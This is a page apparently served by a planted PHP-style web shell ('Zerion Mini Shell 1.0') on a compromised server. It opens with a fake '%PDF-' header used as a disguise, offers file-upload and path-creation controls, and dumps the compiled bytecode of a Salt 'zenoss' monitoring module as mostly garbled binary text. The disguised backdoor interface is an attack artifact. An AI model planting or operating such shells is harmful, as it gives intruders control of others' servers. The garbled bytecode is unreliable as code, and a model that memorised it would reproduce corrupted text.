%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/zenoss.pyo

�
���^c@@sadZddlmZmZmZddlZddlZyddlZeZ	Wne
k
rieZ	nXddlZ
ejd�Zejej�eje�ZdZd�Zidd6d	d
6dd6d
d6dd6dd6dd6dd6dd6dd6dd6Zd�Zdd�Zd�Zdd �Zdd!�Zddd"d#d$�Zdd%�ZdS(&uO
Module for working with the Zenoss API

.. versionadded:: 2016.3.0

:depends: requests

:configuration: This module requires a 'zenoss' entry in the master/minion config.

    For example:

    .. code-block:: yaml

        zenoss:
          hostname: https://zenoss.example.com
          username: admin
          password: admin123
i(tabsolute_importtprint_functiontunicode_literalsNuurllib3uzenosscC@s!tr
tStdjt�fSdS(u,
    Only load if requests is installed
    uBThe '{0}' module could not be loaded: 'requests' is not installed.N(tHAS_LIBSt__virtualname__tFalsetformat(((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt__virtual__,s	u	messaginguMessagingRouteru	evconsoleuEventsRouteruprocessu
ProcessRouteruserviceu
ServiceRouterudeviceuDeviceRouterunetworku
NetworkRouterutemplateuTemplateRouteru	detailnavuDetailNavRouterureportuReportRouterumibu	MibRouteruzenpacku
ZenPackRoutercC@satdd�}tj�}|jd�|jd�f|_t|_|jjidd6�|S(u@
    Create a session to be used when connecting to Zenoss.
    u
config.optionuzenossuusernameupassworduapplication/json; charset=utf-8uContent-type(	t__salt__trequeststsessiontgettauthRtverifytheaderstupdate(tconfigR
((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt_sessionDs!	cC@s�|tkrtStjjjtd|d|d|dddd�g�}tdd	�}tj	d
||�dj
|jd�t|�}t�j
|d|�}tjd
|j�r�tjd�td��ntjjj|j�jdd�S(u1
    Make a request to the Zenoss API router
    tactiontmethodtdatattypeurpcttidiu
config.optionuzenossu*Making request to router %s with method %su{0}/zport/dmd/{1}_routeruhostnameuname="__ac_name"u&Request failed. Bad username/password.uresultN(tROUTERSRtsalttutilstjsontdumpstdictRtlogtdebugRRRtposttretsearchtcontentterrort	ExceptiontloadstNone(trouterRRtreq_dataRturltresponse((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt_router_requestQs 
cC@stdd�dkrdSdS(uP
    If no device class is given when adding a device, this helps determine
    u
grains.getukerneluLinuxu
/Server/LinuxN(R(((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt_determine_device_classnscC@s�idd6id6d
d6g}tddd|�}xD|dD]8}|d	|kr>|d
|d
<tjd|�|Sq>Wtjd|�d
S(u�
    Find a device in Zenoss. If device not found, returns None.

    Parameters:
        device:         (Optional) Will use the grain 'fqdn' by default

    CLI Example:
        salt '*' zenoss.find_device
    u/zport/dmd/DevicesuuiduparamsulimituDeviceRouteru
getDevicesRudevicesunameuhashuFound device %s in Zenossu"Unable to find device %s in ZenossN(R&R+Rtinfo(tdeviceRtall_devicestdev((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pytfind_devicevscC@s-|stdd�}nt|�r)tStS(u�
    Check to see if a device already exists in Zenoss.

    Parameters:
        device:         (Optional) Will use the grain 'fqdn' by default

    CLI Example:
        salt '*' zenoss.device_exists
    u
grains.getufqdn(RR1tTrueR(R.((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt
device_exists�s
u	localhosti�cC@s~|stdd�}n|s+t�}ntjd|�td|d|dtd|d|�}td	d
d|g�}|S(u
    A function to connect to a zenoss server and add a new device entry.

    Parameters:
        device:         (Optional) Will use the grain 'fqdn' by default.
        device_class:   (Optional) The device class to use. If none, will determine based on kernel grain.
        collector:      (Optional) The collector to use for this device. Defaults to 'localhost'.
        prod_state:     (Optional) The prodState to set on the device. If none, defaults to 1000 ( production )

    CLI Example:
        salt '*' zenoss.add_device
    u
grains.getufqdnuAdding device %s to zenosst
deviceNametdeviceClasstmodelt	collectortproductionStateuDeviceRouteru	addDeviceR(RR,RR-RR2R+(R.tdevice_classR7t
prod_stateRR*((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt
add_device�s'cC@s�|stdd�}nt|�}|s8dj|�Stjd||�td|dgd|d|d	�}td
d|g�S(u
    A function to set the prod_state in zenoss.

    Parameters:
        prod_state:     (Required) Integer value of the state
        device:         (Optional) Will use the grain 'fqdn' by default.

    CLI Example:
        salt zenoss.set_prod_state 1000 hostname
    u
grains.getufqdnu)Unable to find a device in Zenoss for {0}u$Setting prodState to %d on %s devicetuidsuuidt	prodStatet	hashcheckuhashuDeviceRouterusetProductionState(RR1RRR-RR+(R:R.t
device_objectR((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pytset_prod_state�s
&(t__doc__t
__future__RRRR tloggingR	R2RtImportErrorRtsalt.utils.jsonRt	getLoggerturllib3_loggertsetLeveltWARNINGt__name__RRRRRR&R+R,R1R3R;R@(((s7/usr/lib/python2.7/site-packages/salt/modules/zenoss.pyt<module>s@


	

	
	

Zerion Mini Shell 1.0